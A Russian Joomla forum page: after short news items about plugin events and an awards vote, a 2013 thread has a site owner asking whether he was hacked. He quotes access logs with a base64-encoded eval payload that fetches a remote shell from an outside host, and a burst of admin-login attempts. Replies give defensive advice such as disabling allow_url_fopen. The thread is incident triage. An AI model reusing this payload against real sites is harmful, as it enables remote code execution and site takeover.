Новости Joomla

👩‍💻 События плагинов и порядок их срабатывания при работе с пользовательскими полями Joomla и использовании FieldsHelper.

👩‍💻 События плагинов и порядок их срабатывания при работе с пользовательскими полями Joomla и использовании FieldsHelper.

В процессе работы с Joomla бывает необходимо работать с пользовательским интерфейсом более тонко, чем обычно. Все формы Joomla состоят из стандартных полей, содержанием, стилем отображения, состоянием (включено/выключено, доступно для редактирования или нет и т.д.) можно управлять с помощью плагинов. Да и для нестандартных проектов хорошей практикой является создание одного системного или нескольких плагинов групп "под проект", в которых храниться весь "нестандарт".

В этой статье описаны все триггеры, которые вызываются через Event Dispatcher из administrator/components/com_fields/src/Helper/FieldsHelper.php, с привязкой к жизненному циклу (порядку этапов работы запроса), аргументам, изменяемым данным и дальнейшему распространению по Joomla. Это поможет вам работать с Joomla свободнее и не опасаясь при этом потерять изменения при очередном обновлении движка.

Подходы, описанные в статье, полезны в тех случаях, когда вы работаете с данными в com_fields - механизме создания и редактирования пользовательских полей ядра Joomla и при использовании FieldsHelper. Многие сторонние компоненты не используют эту возможность, поэтому данная статья будет полезна лишь частично.

🏆 Открыто голосование за Joomla в премии CMS Critic People’s Choice Awards 2025

🏆 Открыто голосование за Joomla в  премии CMS Critic People’s Choice Awards 2025

🗓 Голосование продлится до 27 февраля 2026 года.

👩‍💻 Проголосовать! 👩‍💻

Номинации, в которых можно проголосовать за Joomla:
⭐️ Best Free CMS
⭐️ Best Open Source CMS
⭐️ Best Enterprise CMS

Также в номинации Best e-Commerce Solution участвуют компоненты интернет-магазинов для Joomla:
⭐️ HikaShop
⭐️ Virtuemart

В номинации Best Website Builder оказались:
⭐️ YooTheme
⭐️ SP Page Builder

Что такое CMS Critic Awards?
С 2012 года премия CMS Critic Awards занимает особое место в сообществе систем управления контентом (CMS). Это единственный в своем роде сайт, который составляет рейтинг системы управления контентом и связанных с ними решений на рынке — от малого до крупного и подчеркивает их инновации и услуги.

Каждый год награда CMS Critic Awards присуждается одному победителю в различных отраслевых категориях, таких как: «Лучшая облачная CMS», «Лучший DXP», «Лучшая Headless CMS и других. Затем результаты оглашаются через СМИ вместе с выбором редакции CMS Critic.
В этом году премия вернулась к своим традициям и только TOP-5 движков по количеству номинаций попали в 2-й этап - голосование.

@joomlafeed

0 Пользователей и 1 Гость просматривают эту тему.
  • 16 Ответов
  • 2659 Просмотров
*

Ingener

  • Давно я тут
  • 547
  • 10 / 5
Взломали или попытались
« : 28.03.2013, 20:13:22 »
Обнаружил сегодня в строках logs

5.9.221.225 - - [28/Mar/2013:00:08:27 +0400] "GET /?e=eval(base64_decode(ZXZhbChmaWxlX2dldF9jb250ZW50cygnaHR0cDovL2h3LWNhcmdvLnJ1L25ldGNhdF9maWxlcy8xNjcvMS50eHQnKSk7)); HTTP/1.0" 200 31566 "-" "-"
5.9.221.225 - - [28/Mar/2013:00:08:38 +0400] "GET /?cmd=eval(base64_decode(ZXZhbChmaWxlX2dldF9jb250ZW50cygnaHR0cDovL2h3LWNhcmdvLnJ1L25ldGNhdF9maWxlcy8xNjcvMS50eHQnKSk7)); HTTP/1.0" 200 31566 "-" "-"
5.9.221.225 - - [28/Mar/2013:00:08:38 +0400] "GET /?img=eval(base64_decode(ZXZhbChmaWxlX2dldF9jb250ZW50cygnaHR0cDovL2h3LWNhcmdvLnJ1L25ldGNhdF9maWxlcy8xNjcvMS50eHQnKSk7)); HTTP/1.0" 200 31566 "-" "-"
5.9.221.225 - - [28/Mar/2013:00:08:39 +0400] "GET /?var=eval(base64_decode(ZXZhbChmaWxlX2dldF9jb250ZW50cygnaHR0cDovL2h3LWNhcmdvLnJ1L25ldGNhdF9maWxlcy8xNjcvMS50eHQnKSk7)); HTTP/1.0" 200 31566 "-" "-"
5.9.221.225 - - [28/Mar/2013:00:08:39 +0400] "GET /?php=eval(base64_decode(ZXZhbChmaWxlX2dldF9jb250ZW50cygnaHR0cDovL2h3LWNhcmdvLnJ1L25ldGNhdF9maWxlcy8xNjcvMS50eHQnKSk7)); HTTP/1.0" 200 31566 "-" "-"

это взломали  или только попытались, и куда ушла зараза в базу или в файлы? очень прошу помощи.
93
« Последнее редактирование: 28.03.2013, 20:51:16 от Ingener »
*

AlexSmirnov

  • Завсегдатай
  • 1862
  • 272 / 16
  • Ищите и найдете
Re: Взломали или попытались
« Ответ #1 : 28.03.2013, 20:30:38 »
Варезные расширения установлены на сайте?
# Back the fufalo (особенно ту самую столкершу)! #
# ВАЖНО! Кайфую от удаления присланного в личку спама, почти как от любви (особенно по выходным). #
*

Ingener

  • Давно я тут
  • 547
  • 10 / 5
Re: Взломали или попытались
« Ответ #2 : 28.03.2013, 20:47:01 »
НЕТ. только лицензии. у меня девероперские подписки нескольких студий шаблонов
*

Ingener

  • Давно я тут
  • 547
  • 10 / 5
Re: Взломали или попытались
« Ответ #3 : 28.03.2013, 20:47:56 »
прошерстил архив по фразе eval(base64

пусто

базу не проверял
*

Ingener

  • Давно я тут
  • 547
  • 10 / 5
Re: Взломали или попытались
« Ответ #4 : 28.03.2013, 20:48:46 »
каждый день приходят уведомления о попытках взлома сайтов моего аккаунта
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Взломали или попытались
« Ответ #5 : 29.03.2013, 12:24:47 »
пытаются взломать
если ни чего нет варезного и дырявого, и все обновлено до актуальных версий, то криминального нет ни чего
если что то есть дырявое или не обновленное, то возможно уже взломали посмотрите по логам и проверьте папки tmp и images
*

Ingener

  • Давно я тут
  • 547
  • 10 / 5
Re: Взломали или попытались
« Ответ #6 : 29.03.2013, 13:06:47 »
Пасиб за помощь, на всякий случай восстановил из резервной копии
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Взломали или попытались
« Ответ #7 : 29.03.2013, 13:39:59 »
Пасиб за помощь, на всякий случай восстановил из резервной копии
надо проверить а резервная копия может и не помочь
не вижу в логах, куда именно обращается к какому расширению или папке
*

SmokerMan

  • Гуру
  • 5290
  • 720 / 26
Re: Взломали или попытались
« Ответ #8 : 29.03.2013, 13:48:07 »
содержимое index.php в корне сайта покажите. Странно что он 200 ответ вернул.
А это http://hw-cargo.ru/netcat_files/167/1.txt то что пытались сделать.
*

Ingener

  • Давно я тут
  • 547
  • 10 / 5
Re: Взломали или попытались
« Ответ #9 : 29.03.2013, 18:46:18 »
46.150.94.24 - - [26/Mar/2013:20:58:24 +0400] "GET /administrator/index.php HTTP/1.0" 200 4847 "-" "EXBGxaTXkDOEet"
46.150.94.24 - - [26/Mar/2013:20:59:42 +0400] "GET /administrator/ HTTP/1.0" 200 4576 "-" "5G7Q67kMGIjW67Pf"
46.150.94.24 - - [26/Mar/2013:20:59:42 +0400] "POST /administrator/ HTTP/1.0" 303 - "-" "5G7Q67kMGIjW67Pf"
46.150.94.24 - - [26/Mar/2013:20:59:42 +0400] "GET /administrator/index.php HTTP/1.0" 200 4847 "-" "5G7Q67kMGIjW67Pf"
46.150.94.24 - - [26/Mar/2013:21:00:52 +0400] "GET /administrator/ HTTP/1.0" 200 4576 "-" "a4IH8QJ 8fKQnTQ"
46.150.94.24 - - [26/Mar/2013:21:00:52 +0400] "POST /administrator/ HTTP/1.0" 303 - "-" "a4IH8QJ 8fKQnTQ"
46.150.94.24 - - [26/Mar/2013:21:00:53 +0400] "GET /administrator/index.php HTTP/1.0" 200 4847 "-" "a4IH8QJ 8fKQnTQ"
46.150.94.24 - - [26/Mar/2013:21:02:00 +0400] "GET /administrator/ HTTP/1.0" 200 4576 "-" "K8eULz4x1OXcMo7"
46.150.94.24 - - [26/Mar/2013:21:02:00 +0400] "POST /administrator/ HTTP/1.0" 303 - "-" "K8eULz4x1OXcMo7"
46.150.94.24 - - [26/Mar/2013:21:02:00 +0400] "GET /administrator/index.php HTTP/1.0" 200 4847 "-" "K8eULz4x1OXcMo7"
46.150.94.24 - - [26/Mar/2013:21:03:08 +0400] "GET /administrator/ HTTP/1.0" 200 4576 "-" "g kbp1fGiUE7RekVCz"
46.150.94.24 - - [26/Mar/2013:21:03:09 +0400] "POST /administrator/ HTTP/1.0" 303 - "-" "g kbp1fGiUE7RekVCz"
46.150.94.24 - - [26/Mar/2013:21:03:09 +0400] "GET /administrator/index.php HTTP/1.0" 200 4847 "-" "g kbp1fGiUE7RekVCz"
46.150.94.24 - - [26/Mar/2013:21:04:18 +0400] "GET /administrator/ HTTP/1.0" 200 4576 "-" "doQhHYfwTuuHQGWy B3i"
46.150.94.24 - - [26/Mar/2013:21:04:19 +0400] "POST /administrator/ HTTP/1.0" 303 - "-" "doQhHYfwTuuHQGWy B3i"
46.150.94.24 - - [26/Mar/2013:21:04:19 +0400] "GET /administrator/index.php HTTP/1.0" 200 4847 "-" "doQhHYfwTuuHQGWy B3i"
46.150.94.24 - - [26/Mar/2013:21:05:28 +0400] "GET /administrator/ HTTP/1.0" 200 4576 "-" "eaNxNPEr5E"
46.150.94.24 - - [26/Mar/2013:21:05:28 +0400] "POST /administrator/ HTTP/1.0" 303 - "-" "eaNxNPEr5E"
46.150.94.24 - - [26/Mar/2013:21:05:29 +0400] "GET /administrator/index.php HTTP/1.0" 200 4847 "-" "eaNxNPEr5E"
46.150.94.24 - - [26/Mar/2013:21:06:38 +0400] "GET /administrator/ HTTP/1.0" 200 4576 "-" "n3 iTOnG4 4ZWOt"
46.150.94.24 - - [26/Mar/2013:21:06:38 +0400] "POST /administrator/ HTTP/1.0" 303 - "-" "n3 iTOnG4 4ZWOt"
46.150.94.24 - - [26/Mar/2013:21:06:38 +0400] "GET /administrator/index.php HTTP/1.0" 200 4847 "-" "n3 iTOnG4 4ZWOt"
46.150.94.24 - - [26/Mar/2013:21:07:52 +0400] "GET /administrator/ HTTP/1.0" 200 4576 "-" "PS JVSlSJtRQ7j7DBo0"
46.150.94.24 - - [26/Mar/2013:21:07:53 +0400] "POST /administrator/ HTTP/1.0" 303 - "-" "PS JVSlSJtRQ7j7DBo0"
46.150.94.24 - - [26/Mar/2013:21:07:53 +0400] "GET /administrator/index.php HTTP/1.0" 200 4847 "-" "PS JVSlSJtRQ7j7DBo0"
46.150.94.24 - - [26/Mar/2013:21:09:14 +0400] "GET /administrator/ HTTP/1.0" 200 4576 "-" "1hrK8gE3G1zxgJuY2"
46.150.94.24 - - [26/Mar/2013:21:09:15 +0400] "POST /administrator/ HTTP/1.0" 303 - "-" "1hrK8gE3G1zxgJuY2"
46.150.94.24 - - [26/Mar/2013:21:09:15 +0400] "GET /administrator/index.php HTTP/1.0" 200 4847 "-" "1hrK8gE3G1zxgJuY2"
46.150.94.24 - - [26/Mar/2013:21:10:27 +0400] "GET /administrator/ HTTP/1.0" 200 4576 "-" "dfUGHNZn E"
46.150.94.24 - - [26/Mar/2013:21:10:27 +0400] "POST /administrator/ HTTP/1.0" 303 - "-" "dfUGHNZn E"
46.150.94.24 - - [26/Mar/2013:21:10:28 +0400] "GET /administrator/index.php HTTP/1.0" 200 4847 "-" "dfUGHNZn E"
46.150.94.24 - - [26/Mar/2013:21:11:37 +0400] "GET /administrator/ HTTP/1.0" 200 4576 "-" "vTaj2kBaDv"
46.150.94.24 - - [26/Mar/2013:21:11:37 +0400] "POST /administrator/ HTTP/1.0" 303 - "-" "vTaj2kBaDv"
46.150.94.24 - - [26/Mar/2013:21:11:37 +0400] "GET /administrator/index.php HTTP/1.0" 200 4847 "-" "vTaj2kBaDv"
46.150.94.24 - - [26/Mar/2013:21:12:48 +0400] "GET /administrator/ HTTP/1.0" 200 4576 "-" "98tNKidJ4Oud zd1"
46.150.94.24 - - [26/Mar/2013:21:12:49 +0400] "POST /administrator/ HTTP/1.0" 303 - "-" "98tNKidJ4Oud zd1"
46.150.94.24 - - [26/Mar/2013:21:12:49 +0400] "GET /administrator/index.php HTTP/1.0" 200 4847 "-" "98tNKidJ4Oud zd1"
46.150.94.24 - - [26/Mar/2013:21:13:57 +0400] "GET /administrator/ HTTP/1.0" 200 4576 "-" "S 5XF4Ij UUeuVN2"
46.150.94.24 - - [26/Mar/2013:21:13:57 +0400] "POST /administrator/ HTTP/1.0" 303 - "-" "S 5XF4Ij UUeuVN2"
46.150.94.24 - - [26/Mar/2013:21:13:57 +0400] "GET /administrator/index.php HTTP/1.0" 200 4847 "-" "S 5XF4Ij UUeuVN2"

Надо полагать пытались взломать?
*

Ingener

  • Давно я тут
  • 547
  • 10 / 5
Re: Взломали или попытались
« Ответ #10 : 29.03.2013, 18:49:43 »
содержимое index.php в корне сайта покажите. Странно что он 200 ответ вернул.
А это http://hw-cargo.ru/netcat_files/167/1.txt то что пытались сделать.

Вот содержимое:

<?php
/**
 * @package      Joomla.Site
 * @copyright   Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
 * @license      GNU General Public License version 2 or later; see LICENSE.txt
 */

// Set flag that this is a parent file.
define('_JEXEC', 1);
define('DS', DIRECTORY_SEPARATOR);

if (file_exists(dirname(__FILE__). '/defines.php')) {
   include_once dirname(__FILE__). '/defines.php';
}

if (!defined('_JDEFINES')) {
   define('JPATH_BASE', dirname(__FILE__));
   require_once JPATH_BASE.'/includes/defines.php';
}

require_once JPATH_BASE.'/includes/framework.php';

// Mark afterLoad in the profiler.
JDEBUG ? $_PROFILER->mark('afterLoad') : null;

// Instantiate the application.
$app = JFactory::getApplication('site');

// Initialise the application.
$app->initialise();

// Mark afterIntialise in the profiler.
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;

// Route the application.
$app->route();

// Mark afterRoute in the profiler.
JDEBUG ? $_PROFILER->mark('afterRoute') : null;

// Dispatch the application.
$app->dispatch();

// Mark afterDispatch in the profiler.
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;

// Render the application.
$app->render();

// Mark afterRender in the profiler.
JDEBUG ? $_PROFILER->mark('afterRender') : null;

// Return the response.
echo $app;
*

Ingener

  • Давно я тут
  • 547
  • 10 / 5
Re: Взломали или попытались
« Ответ #11 : 29.03.2013, 18:51:10 »
Слушайте надо чегото делать с этими хакерами, уже всех достали, ну в самом деле, творят что хотят. Нато их ловить и сажать.
*

Apple_Buy

  • Захожу иногда
  • 71
  • 1 / 0
  • Истина всегда рядом....
Re: Взломали или попытались
« Ответ #12 : 29.03.2013, 22:10:59 »
В настройках PHP вашего хостинга нужно запретить работать с удаленными файлами как с ссылками (allow_url_fopen = Off), содержимое файла которое пытались загрузить ни что иное как Shell при помощи которого взломщики получают доступ к вашему сайту через удаленный шелл, даже не загружая его на ваш сайт.
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: Взломали или попытались
« Ответ #13 : 29.03.2013, 23:03:49 »
Слушайте надо чегото делать с этими хакерами, уже всех достали, ну в самом деле, творят что хотят. Нато их ловить и сажать.
Может просто имеет смысл граммотней следить за своими сайтами? всех всеравно не пересожаите, тюрем не хватит)
*

Ingener

  • Давно я тут
  • 547
  • 10 / 5
Re: Взломали или попытались
« Ответ #14 : 29.03.2013, 23:08:41 »
В настройках PHP вашего хостинга нужно запретить работать с удаленными файлами как с ссылками (allow_url_fopen = Off)

А вто это уже интересно, я не слышал об этом. Не повлияет ли отключение этой функции на работоспособность сайта в целом?
*

Ingener

  • Давно я тут
  • 547
  • 10 / 5
Re: Взломали или попытались
« Ответ #15 : 30.03.2013, 08:50:44 »
Еще вчера на другом сайте в логах jhackguard

2013-03-29T14:39:06+00:00   CRITICAL   jhackguard   Changed GET value from:     eval(base64_decode(ZXZhbChmaWxlX2dldF9jb250ZW50cygnaHR0cDovL2h3LWNhcmdvLnJ1L25ldGNhdF9maWxlcy8xNjcvMS50eHQnKSk7)); to:    ZXZhbChmaWxlX2dldF9jb250ZW50cygnaHR0cDovL2h3LWNhcmdvLnJ1L25ldGNhdF9maWxlcy8xNjcvMS50eHQnKSk7));
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Взломали или попытались
« Ответ #16 : 30.03.2013, 10:06:23 »
А вто это уже интересно, я не слышал об этом. Не повлияет ли отключение этой функции на работоспособность сайта в целом?
в целом не должно, на работу практически точно нет, а вот на автоматическое обновление расширений может, не на все на единичные, те которые работают по такой схеме, ну и может если у вас расширения стоят которым связываться необходимо с сервером разработчиков
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Взломали сайт. Как в некоторых случаях делаю я

Автор cntrl

Ответов: 0
Просмотров: 1569
Последний ответ 29.08.2020, 00:25:24
от cntrl
Реклама (взломали сайт)

Автор Emusarce

Ответов: 15
Просмотров: 2190
Последний ответ 18.01.2019, 10:41:27
от ProtectYourSite
Наверное меня взломали

Автор serg450453

Ответов: 18
Просмотров: 1654
Последний ответ 22.01.2018, 10:50:39
от ProtectYourSite
Обновился phpmailer. Сам? Взломали?

Автор master-smeta

Ответов: 58
Просмотров: 10368
Последний ответ 06.09.2017, 14:49:53
от flyingspook
Взломали?

Автор borro

Ответов: 28
Просмотров: 1497
Последний ответ 30.08.2017, 12:59:19
от Missile